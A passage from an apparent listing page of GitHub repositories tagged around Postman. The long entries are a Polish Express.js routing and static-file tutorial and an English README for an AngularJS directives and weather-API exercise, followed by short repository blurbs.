nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
vinitshahdeo/GitHub-Popular-Searches
find, popular, query, search 		A Postman Collection to find the popular repositories for a given search query. 0 stars 0 watchers 0 forks

things (8 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
a85/PostmanProxy
proxy, things 		A proxy for doing some cool things with Postman 0 stars 0 watchers 13 forks
docker-things/postman
description, docker, script, things 		No description available. 0 stars 0 watchers 0 forks
Allariya/Postman-Newman
things 		Some things I use every day that might be helpful to others 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
juanpablo618/postmanCollectionExample
collection, example, postman collection, things 		short postman collection example, with a lot of things to start. 0 stars 0 watchers 0 forks
OneTechieFamily/OneTechiePostmanApp
things, to do 		An app to do things... 0 stars 0 watchers 0 forks
PatrickWalker/PostmanPat
things 		Trying to fix some things which made Postman harder for me to use day to day 0 stars 0 watchers 0 forks

progress (8 listings) (Back to Top)

buulam/bootstrap-bigip-via-iworkflow
bigip, boot, collection, config, configuration, environment, progress, variable, variables, workflow 		Work in progress - Postman collection with environment variables for bootstrapping a new BIG-IP with blank configuration via iWorkflow 0 stars 0 watchers 0 forks
aking27/FitnessTracker
